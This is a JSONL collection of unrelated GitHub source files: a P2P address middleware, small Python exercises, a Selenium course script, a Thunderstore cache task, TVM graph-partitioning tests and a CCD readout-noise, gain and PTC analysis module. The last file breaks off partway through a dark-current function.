+{"seq_id":"30928303869","text":"from typing import Tuple\n\nfrom .Users import UserList\nfrom ..utils.Logger import getServerLogger\nfrom ..utils.Middleware import Middleware\n\nlogger = getServerLogger(\"P2PMiddleware\")\n\n\nclass P2PMiddleware(Middleware):\n    def __init__(self, users: UserList, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n\n        self.users = users\n\n        self.handlers = {\"addr_request\": self.get_user_addr}\n\n    def get_user_addr(self, sid: str, data: dict) -> Tuple[bool, dict]:\n        \"\"\"\n        Si llega un evento de tipo addr_request,\n        se obtiene la address del usuario de destino y se retorna\n        \"\"\"\n\n        uri, uuid = None, None\n        user = self.users.get_user_by_name(data[\"username\"])\n        if user:\n            uri, uuid = user.uri, user.uuid\n\n        # Este middleware no tiene que seguir avanzando, por lo que se retorna False\n        # (La respuesta ya esta completa)\n        return False, {\"uri\": uri, \"uuid\": uuid}\n","repo_name":"MrEarle/SSDD-T4","sub_path":"src/server/P2PMiddleware.py","file_name":"P2PMiddleware.py","file_ext":"py","file_size_in_byte":950,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"12897685903","text":"import time\nstart = time.time()\ndef seperator(l):\n    moves=0\n    i=0\n    j=1\n    l1=l.copy()\n    while(j<len(l)):\n        if(l1[i]==l1[j]):\n            j+=1\n\n        elif(l1[i]>l1[j]):\n            i=j\n            j+=1\n            \n        elif(l1[i]<l1[j]):\n            temp=l1[i]\n            l1[i]=l1[j]\n            l1[j]=temp\n            moves+=(j-i)\n            i+=1\n            j+=1\n\n    moves1=0\n    i=0\n    j=1\n    l2=l.copy()\n    while(j<len(l)):\n        if(l2[i]==l2[j]):\n            j+=1\n\n        elif(l2[i]<l2[j]):\n            i=j\n            j+=1\n            \n        elif(l2[i]>l2[j]):\n            temp=l2[i]\n            l2[i]=l2[j]\n            l2[j]=temp\n            moves1+=(j-i)\n            i+=1\n            j+=1\n            \n    return (l1,moves,l2,moves1)\n        \nprint(seperator([1,0,1,1,0,1,1]))\nend=time.time()\nprint()\nprint()\nprint(end-start)\n","repo_name":"DoWithPassion/PythonPrograms","sub_path":"swaps_to_seperate_0s_and1s.py","file_name":"swaps_to_seperate_0s_and1s.py","file_ext":"py","file_size_in_byte":866,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"31711927770","text":"import math\nimport time\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom webdriver_manager.chrome import ChromeDriverManager\nfrom selenium.webdriver.support.ui import Select\n\nbrowser = webdriver.Chrome(executable_path=ChromeDriverManager().install())\nlink = \"http://suninjuly.github.io/explicit_wait2.html\"\n\n\ndef calc(x):\n    return str(math.log(abs(12 * math.sin(int(x)))))\n\ntry:\n    browser.get(link)\n    price = browser.find_element_by_id('price').text\n    my_price = WebDriverWait(browser, 12).until(\n        EC.text_to_be_present_in_element(\n            (By.ID, \"price\"), \"$100\")\n    )\n    book = browser.find_element_by_id('book')\n    book.click()\n    x = int(browser.find_element_by_id('input_value').text)\n    my_answer = calc(x)\n    browser.find_element_by_id('answer').send_keys(my_answer)\n    button = browser.find_element_by_id(\"solve\")\n    button.click()\n\nfinally:\n    # успеваем скопировать код за 10 секунд\n    time.sleep(10)\n    # закрываем браузер после всех манипуляций\n    browser.quit()\n","repo_name":"AkioYuki/stepik_auto_tests_course","sub_path":"2.4.1.py","file_name":"2.4.1.py","file_ext":"py","file_size_in_byte":1227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"27610145827","text":"from thunderstore.community.models import Community, CommunitySite\nfrom thunderstore.core.utils import capture_exception\nfrom thunderstore.repository.api.v1.viewsets import serialize_package_list_for_community\nfrom thunderstore.repository.models.cache import APIV1PackageCache\n\n\ndef update_api_v1_caches() -> None:\n    update_api_v1_indexes()\n\n\ndef update_api_v1_indexes() -> None:\n    for site in CommunitySite.objects.iterator():\n        try:\n            APIV1PackageCache.update_for_community(\n                community=site.community,\n                content=serialize_package_list_for_community(\n                    community=site.community,\n                ),\n            )\n        except Exception as e:  # pragma: no cover\n            capture_exception(e)\n    for community in Community.objects.filter(sites=None).iterator():\n        try:\n            APIV1PackageCache.update_for_community(\n                community=community,\n                content=serialize_package_list_for_community(\n                    community=community,\n                ),\n            )\n        except Exception as e:  # pragma: no cover\n            capture_exception(e)\n    APIV1PackageCache.drop_stale_cache()\n","repo_name":"thunderstore-io/Thunderstore","sub_path":"django/thunderstore/repository/api/v1/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":1197,"program_lang":"python","lang":"en","doc_type":"code","stars":81,"dataset":"github-code","pt":"77"}
+{"seq_id":"29340036529","text":"#Conversión de Decimal a Binario\n#reciba como entrada un número decimal e imprima el resultado de convertirlo a binario. \ndecimal= int(input(\"ingrese numero decimal: \"))\nlista_modulos = [ ]\nwhile decimal != 0:\n       modulo = decimal % 2\n       cociente = decimal //  2\n       # print(\"COCIENTE::: \"+ str(cociente))\n       lista_modulos.append(str(modulo))\n       decimal = cociente\nprint(\"resultado=\" + \"\".join(lista_modulos[::-1]))\n","repo_name":"pabloschwarzenberg/grader","sub_path":"hito1_ej4/hito1_ej4_edcf279b44328751cac4ce5efce99364.py","file_name":"hito1_ej4_edcf279b44328751cac4ce5efce99364.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"7880903155","text":"import os\nimport sys\nimport numpy as np\nimport pytest\n\nimport tvm\nimport tvm.relay.testing\nimport tvm.relay.transform as transform\nfrom tvm import relay\nfrom tvm.contrib import util\nfrom tvm.relay.annotation import compiler_begin, compiler_end\nfrom tvm.relay.expr_functor import ExprMutator\n\n# Leverage the pass manager to write a simple white list based annotator\n@transform.function_pass(opt_level=0)\nclass WhiteListAnnotator:\n    def __init__(self, op_list, compiler):\n        assert isinstance(op_list, (list, tuple, set))\n        self.op_list = op_list\n        self.compiler = compiler\n\n    def transform_function(self, func, mod, ctx):\n\n        annotator = self\n        class Annotator(tvm.relay.ExprMutator):\n            def visit_call(self, call):\n                op_name = call.op.name\n                if op_name in annotator.op_list:\n                    new_args = []\n                    for arg in call.args:\n                        ann = compiler_begin(super().visit(arg),\n                                             annotator.compiler)\n                        new_args.append(ann)\n                    new_call = relay.Call(call.op, new_args, call.attrs,\n                                          call.type_args)\n                    return compiler_end(new_call, annotator.compiler)\n                else:\n                    return super().visit_call(call)\n        return Annotator().visit(func)\n\n\nclass CcompilerAnnotator(ExprMutator):\n    \"\"\"\n    A simple annotator that creates the following program:\n           |\n      -- begin --\n           |\n          add\n           |\n        subtract\n           |\n        multiply\n           |\n       -- end --\n           |\n    \"\"\"\n\n    def __init__(self):\n        super(CcompilerAnnotator, self).__init__()\n        self.in_compiler = 0\n\n    def visit_call(self, call):\n        if call.op.name == \"add\":  # Annotate begin at args\n            if self.in_compiler == 1:\n                lhs = compiler_begin(super().visit(call.args[0]), \"ccompiler\")\n                rhs = compiler_begin(super().visit(call.args[1]), \"ccompiler\")\n                op = relay.add(lhs, rhs)\n                self.in_compiler = 2\n                return op\n        elif call.op.name == \"subtract\":\n            if self.in_compiler == 1:\n                lhs = super().visit(call.args[0])\n                rhs = super().visit(call.args[1])\n                if isinstance(lhs, relay.expr.Var):\n                    lhs = compiler_begin(lhs, \"ccompiler\")\n                if isinstance(rhs, relay.expr.Var):\n                    rhs = compiler_begin(rhs, \"ccompiler\")\n                return relay.subtract(lhs, rhs)\n        elif call.op.name == \"multiply\":  # Annotate end at output\n            self.in_compiler = 1\n            lhs = super().visit(call.args[0])\n            rhs = super().visit(call.args[1])\n            if isinstance(lhs, relay.expr.Var):\n                lhs = compiler_begin(lhs, \"ccompiler\")\n            if isinstance(rhs, relay.expr.Var):\n                rhs = compiler_begin(rhs, \"ccompiler\")\n            op = relay.multiply(lhs, rhs)\n            if self.in_compiler == 2:\n                op = compiler_end(op, \"ccompiler\")\n            self.in_compiler = 0\n            return op\n        return super().visit_call(call)\n\n\nclass WholeGraphAnnotator(ExprMutator):\n    \"\"\"\n    An annotator that creates a compiler for an entire graph.\n    \"\"\"\n\n    def __init__(self, compiler):\n        super(WholeGraphAnnotator, self).__init__()\n        self.compiler = compiler\n        self.last_call = True\n\n    def visit_call(self, call):\n        curr_last = self.last_call\n        self.last_call = False\n\n        params = []\n        for arg in call.args:\n            param = super().visit(arg)\n            if isinstance(param, relay.expr.Var):\n                param = compiler_begin(param, self.compiler)\n            params.append(param)\n\n        new_call = relay.Call(call.op, params, call.attrs)\n        if curr_last:\n            new_call = compiler_end(new_call, self.compiler)\n        return new_call\n\n\nclass MobileNetAnnotator(ExprMutator):\n    \"\"\"\n    Annotate mobilenet until global_avg_pool.\n    \"\"\"\n\n    def __init__(self, compiler):\n        super(MobileNetAnnotator, self).__init__()\n        self.compiler = compiler\n        self.compiler_open = False\n\n    def visit_call(self, call):\n\n        if call.op.name == 'nn.global_avg_pool2d':\n            self.compiler_open = True\n        compiler_open = self.compiler_open\n\n        params = []\n        for arg in call.args:\n            param = super().visit(arg)\n            if call.op.name == 'nn.global_avg_pool2d':\n                param = compiler_end(param, self.compiler)\n            if compiler_open and isinstance(param, relay.expr.Var):\n                param = compiler_begin(param, self.compiler)\n            params.append(param)\n\n        new_call = relay.Call(call.op, params, call.attrs)\n        return new_call\n\n\ndef check_result(mod, map_inputs, out_shape, result, tol=1e-5, target=\"llvm\",\n                 ctx=tvm.cpu(), params=None):\n    if sys.platform == \"win32\":\n        print(\"Skip test on Windows for now\")\n        return\n\n    def update_lib(lib):\n        test_dir = os.path.dirname(os.path.realpath(os.path.expanduser(__file__)))\n        source_dir = os.path.join(test_dir, \"..\", \"..\", \"..\")\n        contrib_path = os.path.join(source_dir, \"src\", \"runtime\", \"contrib\")\n\n        kwargs = {}\n        kwargs[\"options\"] = [\"-O2\", \"-std=c++11\", \"-I\" + contrib_path]\n        tmp_path = util.tempdir()\n        lib_name = 'lib.so'\n        lib_path = tmp_path.relpath(lib_name)\n        lib.export_library(lib_path, fcompile=False, **kwargs)\n        lib = tvm.module.load(lib_path)\n\n        return lib\n\n    def check_vm_result():\n        with relay.build_config(opt_level=3, disabled_pass=[\"AlterOpLayout\"]):\n            exe = relay.vm.compile(mod, target=target, params=params)\n        code, lib = exe.save()\n        lib = update_lib(lib)\n        exe = relay.vm.Executable.load_exec(code, lib)\n        vm = relay.vm.VirtualMachine(exe)\n        vm.init(ctx)\n        out = vm.run(**map_inputs)\n        tvm.testing.assert_allclose(out.asnumpy(), result, rtol=tol, atol=tol)\n\n    def check_graph_runtime_result():\n        with relay.build_config(opt_level=3, disabled_pass=[\"AlterOpLayout\"]):\n            json, lib, param = relay.build(mod, target=target, params=params)\n        lib = update_lib(lib)\n        rt_mod = tvm.contrib.graph_runtime.create(json, lib, ctx)\n\n        for name, data in map_inputs.items():\n            rt_mod.set_input(name, data)\n        rt_mod.set_input(**param)\n        rt_mod.run()\n        out = tvm.nd.empty(out_shape, ctx=ctx)\n        out = rt_mod.get_output(0, out)\n\n        tvm.testing.assert_allclose(out.asnumpy(), result, rtol=tol, atol=tol)\n\n    check_vm_result()\n    check_graph_runtime_result()\n\n\ndef test_multi_node_compiler():\n    x = relay.var('x', shape=(10, 10))\n    w0 = relay.var('w0', shape=(10, 10))\n    w1 = relay.var('w1', shape=(10, 10))\n    w2 = relay.var('w2', shape=(10, 10))\n    w3 = relay.var('w3', shape=(10, 10))\n    w4 = relay.var('w4', shape=(10, 10))\n    w5 = relay.var('w5', shape=(10, 10))\n    w6 = relay.var('w6', shape=(10, 10))\n    w7 = relay.var('w7', shape=(10, 10))\n\n    # C compiler\n    # FIXME: We generate two compilers for this case but they should be merged to one\n    # due to the common input (x).\n    z0 = relay.add(x, w0)\n    p0 = relay.subtract(z0, w1)\n    q0 = relay.multiply(p0, w2)\n\n    z1 = relay.add(x, w3)\n    p1 = relay.subtract(z1, w4)\n    q1 = relay.multiply(p1, w5)\n\n    # Other parts on TVM\n    z2 = relay.add(x, w6)\n    q2 = relay.subtract(z2, w7)\n\n    r = relay.concatenate((q0, q1, q2), axis=0)\n    f = relay.Function([x, w0, w1, w2, w3, w4, w5, w6, w7], r)\n    mod = relay.Module()\n    ann = CcompilerAnnotator()\n    mod[\"main\"] = ann.visit(f)\n    mod = transform.PartitionGraph()(mod)\n    mod = transform.InferType()(mod)\n\n    x_data = np.random.rand(10, 10).astype('float32')\n    w_data = []\n    for _ in range(8):\n        w_data.append(np.random.rand(10, 10).astype('float32'))\n\n    map_inputs = {\"w{}\".format(i): w_data[i] for i in range(8)}\n    map_inputs[\"x\"] = x_data\n    check_result(\n        mod, map_inputs, (30, 10),\n        np.concatenate((((x_data + w_data[0]) - w_data[1]) * w_data[2],\n                        ((x_data + w_data[3]) - w_data[4]) * w_data[5],\n                        x_data + w_data[6] - w_data[7]),\n                       axis=0))\n\n\ndef test_extern_ccompiler_single_op():\n    @transform.function_pass(opt_level=0)\n    class MyAnnotator:\n        def transform_function(self, func, mod, ctx):\n            class Annotator(tvm.relay.ExprMutator):\n                def visit_call(self, call):\n                    new_args = []\n                    for arg in call.args:\n                        ann = compiler_begin(self.visit(arg), \"ccompiler\")\n                        new_args.append(ann)\n                    new_call = relay.Call(call.op, new_args)\n                    return compiler_end(new_call, \"ccompiler\")\n            return Annotator().visit(func)\n\n    x = relay.var('x', shape=(8, 8))\n    y = relay.var('y', shape=(8, 8))\n    z = x + y\n    f = relay.Function([x, y], z)\n    x_data = np.random.rand(8, 8).astype('float32')\n    y_data = np.random.rand(8, 8).astype('float32')\n    mod = relay.Module()\n    mod[\"main\"] = f\n    mod = MyAnnotator()(mod)\n    mod = transform.PartitionGraph()(mod)\n\n    check_result(mod, {\"x\": x_data, \"y\": y_data}, (8, 8), x_data + y_data)\n\n\ndef test_extern_ccompiler_default_ops():\n    def expected():\n        x = relay.var(\"x\", shape=(8, 8))\n        y = relay.var(\"y\", shape=(8, 8))\n        x0 = relay.var(\"x0\", shape=(8, 8))\n        y0 = relay.var(\"y0\", shape=(8, 8))\n        add = x0 + y0\n        # Function that uses C compiler\n        func = relay.Function([x0, y0], add)\n        func = func.set_attribute(\"Primitive\", tvm.expr.IntImm(\"int32\", 1))\n        func = func.set_attribute(\"Compiler\",\n                                  tvm.expr.StringImm(\"ccompiler\"))\n        func = func.set_attribute(\"ExternalSymbol\",\n                                  tvm.expr.StringImm(\"ccompiler_0\"))\n        add_call = relay.Call(func, [x, y])\n        # Function that uses default compiler. Ops are fused in this function.\n        p0 = relay.var(\"p0\", shape=(8, 8))\n        log = relay.log(p0)\n        exp = relay.exp(p0)\n        concat = relay.concatenate([log, exp], axis=0)\n        fused_func = relay.Function([p0], concat)\n        fused_func = fused_func.set_attribute(\"Primitive\",\n                                              tvm.expr.IntImm(\"int32\", 1))\n        fused_call = relay.Call(fused_func, [add_call])\n        main = relay.Function([x, y], fused_call)\n        mod = relay.Module()\n        mod[\"main\"] = main\n        return mod\n\n    x = relay.var(\"x\", shape=(8, 8))\n    y = relay.var(\"y\", shape=(8, 8))\n    add = x + y\n    log = relay.log(add)\n    exp = relay.exp(add)\n    concat = relay.concatenate([log, exp], axis=0)\n    f = relay.Function([x, y], concat)\n    mod = relay.Module()\n    mod[\"main\"] = f\n    mod = WhiteListAnnotator([\"add\", \"subtract\", \"multiply\"], \"ccompiler\")(mod)\n    mod = transform.PartitionGraph()(mod)\n\n    fused_mod = transform.FuseOps(2)(mod)\n    expected_mod = expected()\n    assert relay.alpha_equal(fused_mod, expected_mod)\n\n    x_data = np.random.rand(8, 8).astype('float32')\n    y_data = np.random.rand(8, 8).astype('float32')\n    np_add = x_data + y_data\n    res = np.concatenate([np.log(np_add), np.exp(np_add)])\n    check_result(mod, {\"x\": x_data, \"y\": y_data}, (16, 8), res)\n\n\ndef test_extern_ccompiler():\n    x = relay.var('x', shape=(2, 2))\n    y = relay.var('y', shape=(2, 2))\n    z = x + x\n    p = y * y\n    f = relay.Function([x, y], p - z)\n    x_data = np.random.rand(2, 2).astype('float32')\n    y_data = np.random.rand(2, 2).astype('float32')\n    mod = relay.Module()\n    mod[\"main\"] = f\n    mod = WhiteListAnnotator([\"add\", \"subtract\", \"multiply\"], \"ccompiler\")(mod)\n    mod = transform.PartitionGraph()(mod)\n\n    check_result(mod, {\"x\": x_data, \"y\": y_data}, (2, 2), (y_data * y_data) - (x_data + x_data))\n\n\ndef test_extern_dnnl():\n    if not tvm.get_global_func(\"relay.ext.dnnl\", True):\n        print(\"skip because DNNL codegen is not available\")\n        return\n\n    dtype = 'float32'\n    ishape = (1, 32, 14, 14)\n    w1shape = (32, 1, 3, 3)\n    data = relay.var('data', shape=(ishape), dtype=dtype)\n    weight1 = relay.var('weight1', shape=(w1shape), dtype=dtype)\n    depthwise_conv2d_1 = relay.nn.conv2d(data,\n                                         weight1,\n                                         kernel_size=(3, 3),\n                                         padding=(1, 1),\n                                         groups=32)\n    depthwise_conv2d_2 = relay.nn.conv2d(depthwise_conv2d_1,\n                                         weight1,\n                                         kernel_size=(3, 3),\n                                         padding=(1, 1),\n                                         groups=32)\n    out = relay.add(depthwise_conv2d_1, depthwise_conv2d_2)\n\n    f = relay.Function([data, weight1], out)\n\n    mod = relay.Module()\n    mod['main'] = WholeGraphAnnotator('dnnl').visit(f)\n    mod = transform.PartitionGraph()(mod)\n\n    ref_mod = relay.Module()\n    ref_mod['main'] = f\n\n    i_data = np.random.uniform(0, 1, ishape).astype(dtype)\n    w1_data = np.random.uniform(0, 1, w1shape).astype(dtype)\n\n    ref_ex = relay.create_executor(\"graph\", mod=ref_mod, ctx=tvm.cpu())\n    ref_res = ref_ex.evaluate()(i_data, w1_data)\n    check_result(mod, {\"data\": i_data, \"weight1\": w1_data},\n                 (1, 32, 14, 14), ref_res.asnumpy(), tol=1e-5)\n\n\ndef test_extern_dnnl_mobilenet():\n    if not tvm.get_global_func(\"relay.ext.dnnl\", True):\n        print(\"skip because DNNL codegen is not available\")\n        return\n\n    dtype = 'float32'\n    ishape = (1, 3, 224, 224)\n    mod, params = relay.testing.mobilenet.get_workload(\n        batch_size=1, dtype='float32')\n\n    op_list = [\"nn.conv2d\", \"nn.dense\", \"nn.relu\", \"add\"]\n    mod = WhiteListAnnotator(op_list, \"dnnl\")(mod)\n    mod = transform.PartitionGraph()(mod)\n    i_data = np.random.uniform(0, 1, ishape).astype(dtype)\n\n    ref_mod, params = relay.testing.mobilenet.get_workload(batch_size=1,\n                                                           dtype='float32')\n    ref_ex = relay.create_executor(\"graph\", mod=ref_mod, ctx=tvm.cpu(0))\n    ref_res = ref_ex.evaluate()(i_data, **params)\n\n    check_result(mod, {\"data\": i_data},\n                 (1, 1000), ref_res.asnumpy(), tol=1e-5, params=params)\n\n\nif __name__ == \"__main__\":\n    test_multi_node_compiler()\n    test_extern_ccompiler_single_op()\n    test_extern_ccompiler_default_ops()\n    test_extern_ccompiler()\n    test_extern_dnnl()\n    test_extern_dnnl_mobilenet()\n","repo_name":"gary30404/tvm-yolov3","sub_path":"tests/python/relay/test_pass_partition_graph.py","file_name":"test_pass_partition_graph.py","file_ext":"py","file_size_in_byte":14780,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"77"}
+{"seq_id":"41567791867","text":"import wx\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os\nimport core.load as load\n\n\ndef readout_noise_process(mainFrame):\n    gain = float(mainFrame.gain_rdnPage.rdn_textCtrl1.GetValue())\n    nClip = int(mainFrame.gain_rdnPage.rdn_textCtrl3.GetValue())\n    path = mainFrame.biasfilePath\n    files = []\n\n    if isinstance(path, str):\n        # 输入路径为str，即目录\n        for file in os.listdir(path):\n            files.append(os.path.join(path, file))\n\n    if isinstance(path, list):\n        # 输入路径为list, 即文件名\n        files = path\n\n    # 判断nClip是否合适\n    if len(files) <= 2 * nClip:\n        dlg = wx.MessageDialog(None, \"请输入合适的nClip!\", caption=\"警告\", style=wx.OK)\n        dlg.ShowModal()\n        return\n\n    tmp = []\n    # arr = np.zeros(load.getData(MainFrame, files[0]).shape)\n    for file in files:\n        each_data = load.getData(mainFrame, file)\n        # 多个三维fits 堆叠待解决\n        if each_data.ndim > 2:\n            # arr = np.concatenate((arr, each_data))\n            tmp = each_data\n        else:\n            tmp.append(each_data)\n\n    # 全部图像堆叠\n    data = np.array(tmp)\n    # 剔除最大值和最小是\n    data_sort = np.sort(data, axis=0)\n    if nClip:\n        data_clip = data_sort[nClip:-nClip, :, :]\n    else:\n        data_clip = data_sort\n    # 计算N张本底图像各个像元的平均值\n    data_mean = np.mean(data_clip, axis=0)\n    # 计算N张本地图像各个像元的标准偏差作为该像元的读出噪声\n    data_std = np.std(data_clip, axis=0)\n    # 整个图像的平均读出噪声\n    data_std_overall = np.mean(data_std)\n    # 读出噪声结果（e-)\n    res = gain * data_std_overall\n\n    # 显示结果\n    mainFrame.gain_rdnPage.rdn_textCtrl2.SetValue(str(round(res, 3)))\n\n    # 合并后的fits图像的平均值和标准差分布作图, 以及直方图\n    plt.figure(1)\n    plt.title(\"MeanValue Distribution\")\n    plt.axis('off')\n    plt.imshow(data_mean, cmap=plt.cm.gray)\n\n    plt.figure(2)\n    plt.title(\"StdValue Distribution\")\n    plt.imshow(data_std, cmap=plt.cm.gray)\n    plt.axis('off')\n\n    plt.figure(3)\n\n    n, bins, patches = plt.hist(data_std.flatten(), bins='auto', color='steelblue')\n    plt.title(\"Readout Noise Historgam\")\n    plt.xlabel(\"Readout Noise (e-)\")\n    plt.ylabel(\"Counts\")\n    plt.tight_layout()\n\n    plt.show()\n\n    return\n\n\ndef gain_process(mainFrame):\n    bias_path = mainFrame.biasfilePath\n    flat_path = mainFrame.flatfilePath\n    bias_files = []\n    flat_files = []\n    if isinstance(bias_path, str):\n        # 输入路径为str，即目录\n        for bias_file in os.listdir(bias_path):\n            bias_files.append(os.path.join(bias_path, bias_file))\n\n    if isinstance(bias_path, list):\n        # 输入路径为list, 即文件名\n        bias_files = bias_path\n\n    if isinstance(flat_path, str):\n        # 输入路径为str，即目录\n        for flat_file in os.listdir(flat_path):\n            flat_files.append(os.path.join(flat_path, flat_file))\n\n    if isinstance(flat_path, list):\n        # 输入路径为list, 即文件名\n        flat_files = flat_path\n\n    bias_tmp = []\n    flat_tmp = []\n\n    # 读取本底场图像\n    for bias_file in bias_files:\n        each_data = load.getData(mainFrame, bias_file)\n        # 多个三维fits 堆叠待解决\n        if each_data.ndim > 2:\n            # arr = np.concatenate((arr, each_data))\n            bias_tmp = each_data\n        else:\n            bias_tmp.append(each_data)\n    # 读取平场图像\n    for flat_file in flat_files:\n        each_data = load.getData(mainFrame, flat_file)\n        # 多个三维fits 堆叠待解决\n        if each_data.ndim > 2:\n            # arr = np.concatenate((arr, each_data))\n            flat_tmp = each_data\n        else:\n            flat_tmp.append(each_data)\n    # 图像堆叠转为array\n    bias_data = np.array(bias_tmp, dtype=float)\n    flat_data = np.array(flat_tmp, dtype=float)\n\n    # 选择两幅平均值最接近的图像\n    bias1, bias2 = load.im_select(bias_data)\n    flat1, flat2 = load.im_select(flat_data)\n\n    bias_diff = bias1 - bias2\n    flat_diff = flat1 - flat2\n\n    bias_dif_var = np.var(bias_diff)\n    flat_diff_var = np.var(flat_diff)\n\n    # 计算增益\n    gain = (np.mean(flat1) + np.mean(flat2) - np.mean(bias1) - np.mean(bias2)) / (flat_diff_var - bias_dif_var)\n\n    # 显示结果\n    mainFrame.gain_rdnPage.gain_textCtrl.SetValue(str(round(gain, 3)))\n    return\n\n\ndef ptc_process(mainFrame):\n    bias_path = mainFrame.biasfilePath\n    flat_path = mainFrame.flatfilePath\n    bias_files = []\n    flat_files = []\n    if isinstance(bias_path, str):\n        # 输入路径为str，即目录\n        for bias_file in os.listdir(bias_path):\n            bias_files.append(os.path.join(bias_path, bias_file))\n\n    if isinstance(bias_path, list):\n        # 输入路径为list, 即文件名\n        bias_files = bias_path\n\n    if isinstance(flat_path, str):\n        # 输入路径为str，即目录\n        for flat_file in os.listdir(flat_path):\n            flat_files.append(os.path.join(flat_path, flat_file))\n\n    if isinstance(flat_path, list):\n        # 输入路径为list, 即文件名\n        flat_files = flat_path\n\n    bias_tmp = []\n    flat_tmp = []\n\n    # 读取本底场图像\n    for bias_file in bias_files:\n        each_data = load.getData(mainFrame, bias_file)\n        # 多个三维fits 堆叠待解决\n        if each_data.ndim > 2:\n            # arr = np.concatenate((arr, each_data))\n            bias_tmp = each_data\n        else:\n            bias_tmp.append(each_data)\n    # 图像堆叠转为array\n    bias_data = np.array(bias_tmp, dtype=float)\n    # 选择两幅平均值最接近的图像\n    bias1, bias2 = load.im_select(bias_data)\n    bias_mean = (np.mean(bias1) + np.mean(bias2)) / 2\n    bias_var = np.var(bias1 - bias2) / 2\n\n    # 读取平场图像\n    PTC_arr = np.zeros((2, len(flat_files)))\n    index = 0\n\n    for flat_file in flat_files:\n        flat_tmp = []\n        if os.path.isdir(flat_file):\n            for item in os.listdir(flat_file):\n                tmp_path = os.path.join(flat_file, item)\n                flat_tmp.append(load.getData(mainFrame, tmp_path))\n        else:\n            each_data = load.getData(mainFrame, flat_file)\n            # 多个三维fits 堆叠待解决\n            if each_data.ndim > 2:\n                # arr = np.concatenate((arr, each_data))\n                flat_tmp = each_data\n            else:\n                flat_tmp.append(each_data)\n        flat_data = np.array(flat_tmp, dtype=float)\n        flat1, flat2 = load.im_select(flat_data)\n        flat_mean = (np.mean(flat1) + np.mean(flat2)) / 2\n        flat_var = np.var(flat1 - flat2) / 2\n\n        PTC_arr[0, index] = flat_mean - bias_mean\n        PTC_arr[1, index] = flat_var - bias_var\n        index += 1\n\n    # 找拐点\n    argMax = PTC_arr[1, :].argmax()\n    PTC_arr_fit = PTC_arr[:, :argMax + 1]\n\n    # 拟合\n    X_fit = PTC_arr_fit[0, :]\n    Y_fit = PTC_arr_fit[1, :]\n    Z_fit = np.polyfit(X_fit, Y_fit, 1)\n    # 原始数据\n    X_origin = PTC_arr[0, :argMax + 1]\n    Y_origin = PTC_arr[1, :argMax + 1]\n\n    # z[0]为曲线斜率， 1/z[0]为增益\n    gain = 1 / Z_fit[0]\n    readout_noise = np.sqrt(bias_var) * gain\n    fullWellCapacity = gain * PTC_arr[0, argMax]\n\n    # PTC 非线性度\n    p = np.poly1d(Z_fit)\n    delta = []\n    for i in range(len(X_origin)):\n        delta.append((Y_origin[i] - p(X_origin[i])) / p(X_origin[i]))\n    delta = np.array(delta, dtype=float)\n    none_linearity = np.mean(np.abs(delta))\n\n    #  响应非线性度\n    maxExposure = float(mainFrame.ptcPage.ptc_textCtrl1.GetValue())\n    length = PTC_arr.shape[1]\n    arr_exposure = np.linspace(0, maxExposure, length)\n    coord_max = PTC_arr[1, :].argmax()\n    response_x = arr_exposure[:coord_max + 1]\n    response_y = PTC_arr[0, :coord_max + 1]\n    response_fit = np.polyfit(response_x, response_y, 1)\n    response_poly = np.poly1d(response_fit)\n    response_yp = response_poly(response_x)\n    res_non_linearity = np.mean((response_y - response_yp) / response_yp)\n\n    # 显示结果\n    mainFrame.ptcPage.ptc_textCtrl3.SetValue(str(round(gain, 4)))\n    mainFrame.ptcPage.ptc_textCtrl4.SetValue(str(round(readout_noise, 4)))\n    mainFrame.ptcPage.ptc_textCtrl5.SetValue(str(round(fullWellCapacity, 2)))\n    mainFrame.ptcPage.ptc_textCtrl6.SetValue(str(np.abs(round(none_linearity, 2))))\n    mainFrame.ptcPage.ptc_textCtrl7.SetValue(str(np.abs(round(res_non_linearity, 2))))\n\n    # 作图\n    if mainFrame.ptcPage.ptc_plot_trigger.GetValue():\n        # PTC\n        plt.figure(1)\n        l1, = plt.plot(PTC_arr[0, :], PTC_arr[1, :], 'b*', label='Original Data')\n        l2, = plt.plot(X_origin, p(X_origin), 'r--', label='Fit Curve')\n        plt.legend(loc='best')\n        plt.xlabel('Mean(ADU)')\n        plt.ylabel('Variance')\n        plt.legend(loc='best')\n        plt.title('PTC')\n\n        # PTC non-linearity\n        plt.figure(2)\n        l1, = plt.plot(X_origin, delta, 'b*', label='Non-linearity')\n        l2, = plt.plot(X_origin, np.zeros(len(X_origin)), 'r--', label='zero line')\n        plt.legend(loc='best')\n        plt.xlabel('Mean(ADU)')\n        plt.ylabel('Non-linearity')\n        plt.title('PTC Non-linearity')\n\n        # PTC response\n        plt.figure(3)\n        l1, = plt.plot(arr_exposure, PTC_arr[0, :], \"b*\", label='Original Data')\n        l2, = plt.plot(response_x, response_yp, 'r--', label='Fit Curve')\n        plt.legend(loc='best')\n        plt.xlabel('Exposure Time / (s)')\n        plt.ylabel('Signal / MeanValue')\n        plt.title('PTC Response')\n\n        # PTC response non-\n        plt.figure(4)\n        l1, = plt.plot(response_x, (response_y - response_yp) / response_yp, 'b*', label='Non-linearity')\n        l2, = plt.plot(response_x, np.zeros(len(response_x)), 'r--', label='zero line')\n        plt.legend(loc='best')\n        plt.xlabel('Exposure Time / (s)')\n        plt.ylabel('Non-linearity')\n        plt.title('Response Non-linearity')\n\n        plt.show()\n    return\n\n\ndef dark_current_process(mainFrame):\n    gain = float(mainFrame.darkcurrentPage.dc_textCtrl1.GetValue())\n    time = float(mainFrame.darkcurrentPage.dc_textCtrl2.GetValue())\n    bias_path = mainFrame.biasfilePath\n    dark_path = mainFrame.darkfilePath\n    bias_files = []\n    dark_files = []\n\n    if isinstance(bias_path, str):\n        # 输入路径为str，即目录\n        for bias_file in os.listdir(bias_path):\n            bias_files.append(os.path.join(bias_path, bias_file))\n\n    